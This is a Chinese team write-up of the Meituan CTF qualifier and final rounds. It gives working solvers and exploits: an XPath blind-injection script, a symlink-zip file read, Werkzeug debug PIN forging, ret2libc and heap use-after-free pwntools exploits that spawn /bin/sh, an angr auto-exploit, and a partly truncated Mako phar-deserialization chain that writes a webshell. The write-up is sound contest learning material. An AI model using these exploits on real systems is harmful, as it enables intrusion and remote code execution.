MT-CTF-Writeup

美团CTF,好玩的,难度也不错,师傅们太强啦!

MiniNep1战队-MT-CTF-Writeup

战队信息:

战队成员:TWe1v3、zealot、1amfree、scr1pt_k1ddi3、ZERO

战队名称:MiniNep1

战队排名:

x

解题情况:

2

解题过程

Crypto

strange_rsa1

在给定的实数域上求根,然后转整数得到q,解RSA即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import *

e = 0x10001
n = 108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413
c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924
gift = 0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938

F=RealField(prec=512*2)
R.<x>=PolynomialRing(F)
f=x*x*gift-n
r=f.roots()[0][0]
q=int(abs(r))
#q=10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034369
p=n//q
d=inverse(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))
#b'flag{a5537b232c1ab750e0db61ec352504a301b7b212}'

strange_rsa2

注意这题用到了上题的flag。

给出了两个随机多项式,我的想法是构造二元多项式,用grobner基求出a。由于模数p未知,先用n替代。然而解完惊奇地发现顺带把p直接规约出来了,属于是意外收获了。后面解RSA就OK了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Util.number import *

def my_poly(coe,x):
res=0
for i in range(1,513):
res+=coe[i-1]*(x^i)
return res

e = 0x10001
flag1 = b'flag{a5537b232c1ab750e0db61ec352504a301b7b212}'
k = bytes_to_long(flag1)
exec(open('output.txt','r').read())
R.<a,t>=PolynomialRing(Zmod(n))
s1=gift[0][0]
coe1=gift[0][1:]
s2=gift[1][0]
coe2=gift[1][1:]
f1=my_poly(coe1,a)+s1
f2=my_poly(coe2,t)+s2

res=Ideal([f1,f2,t-k*a]).groebner_basis()
print(res)
res=[ x.constant_coefficient() for x in res]
a,t,p=list(map(int,res))
print(a,t,p)
q=n//p
d=inverse(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(int(m)))
#b'flag{e6d7511d75bd537e1bd0cd08abea415f5f27d6cf}'

Web

babyjava

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
url="http://eci-2ze39yqy7j0c006fv94i.cloudeci1.ichunqiu.com:8888/hello"
strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}-@!'
flag=''
payload1="'or substring(name(/*[1]), {}, 1)='{}' or ''=' "
payload2="'or substring(name(/root/*[1]), {}, 1)='{}' or ''=' "
payload3="'or substring(name(/root/user/*[2]), {}, 1)='{}' or ''=' " #username username
#'or string-length(name(/root/user/username[2]))='{}' or ''='
payload4="'or substring(/root/user/username[2]/text(), {}, 1)='{}' or ''=' "
for i in range(1,100):
for j in strs:
data={"xpath":payload4.format(i,j)}
print(data)
r=requests.post(url,data=data)
# print(r.text)
if "This information is not available" not in r.text:
flag+=j
print(flag)
break
if j=="!":
print(flag)
exit()
# if "This information is not available" in r.text:
# print(flag)
# break

xpath注入,flag在user的第二个username里

3

OnlineUzip

文件上传存在软链接任意文件读取

1
2
ln -s / test
zip -y test.zip test

4

flag文件没有权限,但是报错了,尝试去还原pin

5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'ctf'
'flask.app',
'Flask',
'/usr/local/lib/python3.8/site-packages/flask/app.py'
]

private_bits = [
'95530260679',
'96cec10d3d9307792745ec3b85c8962029821f34fdecf5402e3da60b23c2cfc8a0b98c91124624fa89bfc7f4950ef9f5'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

然后进入直接执行python命令读取flag

6

PWN

note

edit存在越界编辑,可以直接ret2libc。

7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
r=process("/home/ubuntu/pwn/比赛/MTCTF/note/note")
r=remote("39.106.78.22",35482)
elf=ELF("/home/ubuntu/pwn/比赛/MTCTF/note/note")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="linux",log_level="debug")
context.terminal = ['terminator', '-x', 'sh', '-c']

def meau(index):
r.sendlineafter("5. leave",str(index))

def add(size,content):
meau(1)
r.sendlineafter("Size: ",str(size))
r.sendafter("Content: ",content)

def show(index):
meau(2)
r.sendlineafter("Index: ",str(index))

def edit(index,content):
meau(3)
r.sendlineafter("Index: ",str(index))
r.sendafter("Content: ",content)

def delete(index):
meau(4)
r.sendlineafter("Index: ",str(index))

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr = 0x401150
pop_rdi_ret = 0x00000000004017b3
ret = 0x000000000040101a
add(0x100,'a')
payload = b'a'*8 + p64(pop_rdi_ret) +p64(puts_got)+p64(puts_plt)+p64(start_addr)
edit(-4,payload)
libc_base=u64(r.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base+libc.search(b'/bin/sh').__next__()
payload = b'a'*8 + p64(ret)+p64(pop_rdi_ret) +p64(bin_sh)+p64(system_addr)+p64(start_addr)
edit(-4,payload)
r.interactive()

ret2libc_aarch64

异构pwn,可以直接泄露出libc数据,然后直接根据aarch64的调用规则,调用system(“/bin/sh”)。

8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context(arch="aarch64",os="linux",log_level="debug")
context.terminal = ['gnome-terminal','-x','sh','-c']

local = 2
if local == 0:
r=process(argv=['qemu-aarch64','-g','1234','-L','/home/ubuntu/pwn/arm_pwn/pwn','./pwn'])
if local == 1:
r=process(argv=['qemu-aarch64','-L','/home/ubuntu/pwn/arm_pwn/pwn','./pwn'])
else:
r=remote("39.106.78.22",16078)

elf=ELF("./pwn")
libc = ELF("/home/ubuntu/pwn/arm_pwn/pwn/lib/libc.so.6")

def meau(index):
r.sendlineafter(">",str(index))

meau(1)
setbuf_got=elf.got['setbuf']
r.send(p64(setbuf_got))
r.recvuntil(">>\n")
libc_base = u64(r.recvuntil(b"\n")[:-1].ljust(8,b'\x00')) - libc.symbols['setbuf'] + 0x4000000000
success("libc_base = "+hex(libc_base))
system_addr = libc.symbols['system']+libc_base
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
meau(2)
payload=b'a'*0x88+p64(libc_base+0x0000000000063e5c)+p64(system_addr)*5+p64(bin_sh)+p64(system_addr)*5
r.sendlineafter("> ",payload)
r.interactive()

捉迷藏

就是把SCTF的一道自动化题目的一种情况拿了过来,之前的脚本改改就能直接打。

9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
import angr
from angr.sim_options import LAZY_SOLVES
import claripy
from angr.sim_options import ZERO_FILL_UNCONSTRAINED_MEMORY, unicorn
from angr import Project, SimProcedure
from pwn import *
context_level = "debug"
class NopsFun(SimProcedure):
def run(self):
print ('skip')
return 0
out_list = []
g_idx = 0
class fksth(SimProcedure):
def run(self, a1, a2):
print ('fksth')
constraints = []
idx = 0
while True:
v = self.state.memory.load(a2+idx, 1)
if self.state.solver.eval(v) == 0:
break
constraints.append(v == self.state.memory.load(a1+idx, 1))
idx += 1

retval = claripy.If(self.state.solver.And(*constraints), claripy.BVV(0, 64), claripy.BVV(1, 64))
return retval

class input_val(SimProcedure):
def run(self):
global g_idx
data1 = claripy.BVS('input%x' %g_idx, 32)
data2 = claripy.BVV(0, 32)
ret = self.state.solver.Concat(data2, data1)
out_list.append((g_idx, 'int', data1))
g_idx += 1
return ret

class input_line(SimProcedure):
def run(self, buff, len):
global g_idx
len= self.state.solver.eval(len)
data = claripy.BVS('input%x' %g_idx, len* 8)
out_list.append((g_idx, 'str', data))
g_idx += 1
self.state.memory.store(buff, data)
return 0

def aeg(binary):
p = angr.Project(binary, load_options={'auto_load_libs':False, 'load_debug_info': True})
for symbol in p.loader.symbols:
#print (symbol.name)
if 'main' == symbol.name:
main_addr = symbol.rebased_addr
print ('main=%x\n' %main_addr)
if 'fksth' in symbol.name:
fksth_addr = symbol.rebased_addr
if 'init' in symbol.name:
init_addr = symbol.rebased_addr
if 'input_line' in symbol.name:
input_line_addr = symbol.rebased_addr
if 'input_val' in symbol.name:
input_val_addr = symbol.rebased_addr
if 'backdoor' in symbol.name:
backdoor_addr = symbol.rebased_addr
print ('symbol=%s, addr=%x' %(symbol.name, symbol.rebased_addr))

cfg = p.analyses.CFGFast()
main_func = cfg.kb.functions[main_addr]
main_block_addrs = main_func.block_addrs

max_disp = -0xffffffff
for call_site in main_func.get_call_sites():
target = main_func.get_call_target(call_site)
if target == input_line_addr:
#拿出对应的input_line代码块
block = p.factory.block(call_site).capstone
for insn in block.insns:
print (insn)
if insn.mnemonic == 'lea':
if insn.disp > max_disp:
max_disp = insn.disp
vul_addr = call_site
break

print (max_disp)
print ('addr=%x' %vul_addr)
graph = main_func.transition_graph
for block_node in graph.nodes:
if (block_node.addr <= vul_addr) & (vul_addr < (block_node.addr+block_node.size)):
vul_block = block_node
cur_block = vul_block

path = [cur_block.addr]
while cur_block.addr != main_addr:
for key in graph.predecessors(cur_block):
cur_block = key
path = [cur_block.addr] + path
break

void_addrs = []
for node in graph.nodes:
if node.addr not in path:
if node.addr in main_block_addrs:
void_addrs.append(node.addr)

print ('-'.join('0x%x' %p for p in path))

state = p.factory.blank_state(addr=main_addr, add_options={LAZY_SOLVES})
state.options.add(ZERO_FILL_UNCONSTRAINED_MEMORY)
state.options.add(LAZY_SOLVES)
simgr = p.factory.simgr(state)
print_plt = p.loader.main_object.plt['printf']
p.hook(print_plt, NopsFun())
p.hook(fksth_addr, fksth())
p.hook(init_addr, NopsFun())
p.hook(input_line_addr, input_line())
p.hook(input_val_addr, input_val())
def log_state(simgr):
for state in simgr.active:
print ('pc=%s' %state.regs.pc)
if state.solver.eval(state.regs.pc) in void_addrs:
print ('remove')
simgr.stashes['active'].remove(state)
if state.solver.eval(state.regs.pc) == vul_block.addr:
print ('found')
simgr.stashes['found'].append(state)
simgr.stashes['active'].remove(state)
return simgr

simgr.explore(step_func=log_state)
state = simgr.stashes['found'][0]

s = b''
for (idx, type, data) in out_list:
if type == 'int':
print ('%x: %s' %(idx, state.solver.eval(data)))
s += b'%d ' %(state.solver.eval(data))
else:
print ('%x: %s' %(idx, state.solver.eval(data, cast_to=bytes)))
s += state.solver.eval(data, cast_to=bytes)

s += (-max_disp + 8)*b'a' + p64(backdoor_addr) + b'a' * 0x40
print("back_door = " + hex(backdoor_addr))
print("-max_disp = " + hex(-max_disp))
print(s)
return s

r = remote("39.106.76.68",44064)
r.sendline(aeg("./pwn"))
r.interactive()

Mininep1–美团决赛CTF–Writeup

一、战队信息

战队名称:Mininep1-1

个人排名:4

二、解题详情

10

三、解题过程

Misc

What_is_that

11

qwq手撸flag:

flag{1f576e5e-a0db-4fe2-8678-5ec4d227d41a}

Pwn

heap

就是一个glibc2.27的UAF漏洞,但是申请的堆块大小只能是0x20或0x30,当申请0x20时,edit函数存在溢出修改chunk_size泄露libc即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
r=process("/home/ubuntu/pwn/题目/i春秋/MTCTF/pwn")
# r=remote("47.95.8.59",24835)
elf=ELF("/home/ubuntu/pwn/题目/i春秋/MTCTF/pwn")
libc=ELF("/home/ubuntu/pwn/题目/i春秋/MTCTF/libc.so.6")
context(arch="amd64",os="linux",log_level="debug")
context.terminal = ['terminator', '-x', 'sh', '-c']

def dbg():
src='''
b *$rebase(0x127C)
'''
gdb.attach(r,src)
pause()

def meau(index):
r.sendlineafter(">",str(index))

def add(size):
meau(1)
r.sendlineafter("What size of paper do you want to add?",str(size))

def delete(index):
meau(2)
r.sendlineafter("Which page do you want torn up?",str(index))

def edit(index,content):
meau(3)
r.sendlineafter("Which page do you want to write?",str(index))
r.sendlineafter("How many words do you need to write?",str(len(content)))
r.sendafter("Content:",content)

def show(index):
meau(4)
r.sendlineafter("Which page do you want to review?",str(index))

add(0x18)
for i in range(0x18):
add(0x1f)

payload=p64(0)*3+p64(0x421)
edit(0,payload)
delete(1)
show(1)
libc_base=u64(r.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x10-96-libc.symbols['__malloc_hook']
success("libc_base = "+hex(libc_base))
free_hook=libc_base+libc.symbols['__free_hook']
system_addr=libc_base+libc.symbols["system"]

delete(2)
delete(3)
edit(3,p64(free_hook))
add(0x1f)
add(0x1f)
edit(0x17,p64(system_addr))
edit(4,"/bin/sh")
delete(4)

r.interactive()

Crypto

strange_lwe

LWE问题,用babai’s CVP算法求解。

这里我本来想直接通过误差来进行判断的,然而发现有些位对不上。因此还是绕了个弯先把s给算出来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from sage.stats.distributions.discrete_gaussian_integer import DiscreteGaussianDistributionIntegerSampler
from sage.modules.free_module_integer import IntegerLattice
import numpy as np
from Crypto.Util.number import *
from hashlib import sha1



# Babai's Nearest Plane algorithm
def Babai_closest_vector(M, G, target):
small = target
for _ in range(5):
for i in reversed(range(M.nrows())):
c = ((small * G[i]) / (G[i] * G[i])).round()
small -= M[i] * c
return target - small
q = 401
m = 64
n = 16
a = 0.025
num = 48
data=open('data.txt','r').readlines()
A=Matrix(ZZ,eval(data[0].strip()))
cipher=eval(data[1].strip())
print(len(cipher))

#t=DiscreteGaussianDistributionIntegerSampler(a*q)
#print([ t() for _ in range(1000)])
'''
res=''
for k in range(num):
rt=cipher[k][0]
Lattice = matrix(ZZ, m + n, m)
for i in range(m):
for j in range(n):
Lattice[m + j, i] = A[i][j]
Lattice[i, i] = q

lattice = IntegerLattice(Lattice, lll_reduce=True)
print("LLL done")
gram = lattice.reduced_basis.gram_schmidt()[0]
target = vector(ZZ,rt)
cv = Babai_closest_vector(lattice.reduced_basis, gram, target)
#print("Closest Vector: {}".format(cv))
error=cv-target
print("Error: {}".format(error))
if any([abs(e)>40 for e in error]):
res+='0'
else:
res+='1'
print(res)
A = matrix(Zmod(q), A)
try:
s = A.solve_right(cv)
print('s: {}'.format(s))
except:
print("no solution")
continue
print(res)
'''
s=(195, 202, 322, 287, 230, 311, 396, 58, 242, 191, 117, 41, 248, 264, 139, 291)
s=vector(GF(q),s)
A=Matrix(GF(q),A)
print(A*s)
res=''
for k in range(num):
tmp=[]
for l in range(num*8):
c=vector(ZZ,cipher[k][l])
As=vector(GF(q),A*s)
t=c-As
t=[tt if tt<(q//2) else q-tt for tt in t]
tmp.extend(t)
if all([ tt<40 for tt in t]):
res+='1'
else:
res+='0'
print(res)
#res='000000110110001010100111101100001101011110011110'
my_secret_bits=list(map(int,res))
flag = 'flag{' + sha1(str(my_secret_bits).encode()).hexdigest() + '}'
print(flag)
#flag{7e0fefd15c630d4b41db2ac9e18d48d691b3d419}

Reverse

crackme

题目核心逻辑在digest函数里,首先可以看到这里有个SM4加密:

13

接下来最底下有个RC4:

14

猜测程序是先做SM4加密,最后RC4并转hex输出digest。SM4密钥已给出,而RC4密钥动调可以发现就是LicenseKey。因此用CyberChef在线跑一下解密就出了。

15

flag{c6545808-81ba-48c6-b082-df559da10751}

Web_复现

Mako_imagemagick:

赛题复现:

自己起了一个docker,我们先大概看一下题目吧。

test01

文件上传先简单的传个文件抓个包看一下,

test02

这里还没有去看源码,看到这个,就随便上传了一个码试了一下,发现图片上传后被发送到一个函数中处理。这里就意识到不是简单的文件上传了,决赛时也去啃源码了,但是没怎么啃明白,复现时间足够多,在加上Maxzed大师傅的wp总算啃明白了,源码太多,我就截重点来说吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function __construct($image, ProcessorInterface $processor)
{
$this->image = $image;

$this->processor = $processor;

// Make sure that the image exists

if(file_exists($this->image) === false)
{
throw new PixlException(vsprintf('The image [ %s ] does not exist.', [$this->image]));
}

// Set the image

$this->processor->open($image);
}

这里看Maxzed师傅的wp没看出来他怎么判断存在phar反序列化漏洞,这里自己又去细看了一下源码。

按照phar反序列化的惯例就是要找可控的函数,那就找吧审那么大一个玩意儿确实难受

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
class ImagesController extends Controller
{
public function home(ViewFactory $view): string {
chdir('/var/www/mako/uploads');
$fileNames = array_diff(scandir('.'), array('.', '..'));
$images = [];
foreach($fileNames as $index => $fileName) {//每次循环中,当前数组元素的值被赋给 $fileName,当前数组元素的键名也会在每次循环中被赋给变量 $index。并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个数组元素),直到遍历到数组的末尾,停止遍历并退出循环。
$images[$fileName] = 'data:image/' . pathinfo($fileName, PATHINFO_EXTENSION) . ';base64,' . base64_encode(file_get_contents($fileName));//对每次循环的fileName进行base64编码
}
$this->view->assign('images', $images);
return $view->render('home');
}

public function upload() {
chdir('/var/www/mako/uploads');
$imageFile = $this->request->getFiles()->get('image');
$fileName = $imageFile->getReportedFilename();//获取fileName的一个函数,这里是读取imageFile的文件名并赋值给fileName
$imageFile->moveTo($fileName);
$this->response->getHeaders()->add('Location', '/');
}//就这个函数,要是敏锐一些,应该就能猜到fileName可控,那么就要找触发点,接着审。

public function editGet(ViewFactory $view): string {
chdir('/var/www/mako/uploads');
$fileName = $this->request->getQuery()->get('filename');
$image = new Image($fileName, new ImageMagick());//可控的filename,这里可以用来触发phar
$dimensions = $image->getDimensions();
$this->view->assign('fileName', $fileName);
$this->view->assign('dimensions', $dimensions);
return $view->render('edit');
}

public function editPost() {
chdir('/var/www/mako/uploads');
$post = $this->request->getPost();
$fileName = $post->get('filename');
$degrees = $post->get('degrees');
$image = new Image($fileName, new ImageMagick());
$image->rotate($degrees);
$image->save();
$this->response->getHeaders()->add('Location', '/');
}
}

这里来说一下fileName为啥是可控的,在Image构造函数中存在file_exists()来触发,同时在ediGet中filename进行get访问,即可用来触发phar

test03

那么接下来就是挖链子了,

初步审下来,我这里就直接用maxzed的链子了,我就解读一下他为啥会用这个链子

1
2
3
Session.__destruct().commit()->
File.write()->
FileSystem.put()

在Session.php中的__destruct(),具有自动提交会话数据的commit,数据传到File

1
2
3
4
5
6
7
8
9
10
11
12
13
public function commit(): void
{
// Replace old flash data with new

$this->sessionData['mako.flashdata'] = $this->flashData;//

// Write session data

if(!$this->destroyed)
{
$this->store->write($this->sessionId, $this->sessionData, $this->options['data_ttl']);
}
}

在File.write()中存在写入功能点,链子利用的就是这个,接着看下一个功能点。

1
2
3
4
5
6
7
public function write(string $sessionId, array $sessionData, int $dataTTL): void
{
if($this->fileSystem->isWritable($this->sessionPath))
{
$this->fileSystem->put($this->sessionFile($sessionId), serialize($sessionData)) === false ? false : true;
}
}

fileSystem.php中的put()

1
2
3
4
5
public static function put(string $file, $data, bool $lock = false)
{
return file_put_contents($file, $data, $lock ? LOCK_EX : 0);
}

file_put_contents():

功能:把一个字符串写入文件中。

语法:file_put_contents(file,data,mode,context)

参数说明:

参数 描述
file 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data 可选。规定要写入文件的数据。可以是字符串、数组或数据流。
mode 可选。规定如何打开/写入文件。可能的值:FILE_USE_INCLUDE_PATHFILE_APPENDLOCK_EX
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 null,则忽略

参数 data 可以是数组(但不能是多维数组)。

自 PHP 5.1.0 起,data 参数也可以被指定为 stream 资源,stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。

context 参数的支持是 PHP 5.0.0 添加的。


这里就可以利用将我们想写入的数据写进容器中,理论成立,实践开始,我这里就直接用maxzed的exp啦,将shell写在/var/www/mako/public下。

exp.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
?>');//由于要存本地,这个先和谐一下
}
}
}

namespace mako\session\stores{

use mako\file\FileSystem;

class File{

protected $fileSystem;
protected $sessionPath;

public function __construct()
{
$this->fileSystem = new FileSystem();
$this->sessionPath = "/var/www/mako/public";
}

}

}

namespace mako\file{
class FileSystem{
public function __construct()
{
}
}
}

namespace {

use mako\session\Session;

$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Session();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "asd"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}

接下来就是常规获取shell了,但是我自己本地搭的docker传上去的phar.phar没反应,没法读取,没能复现成功。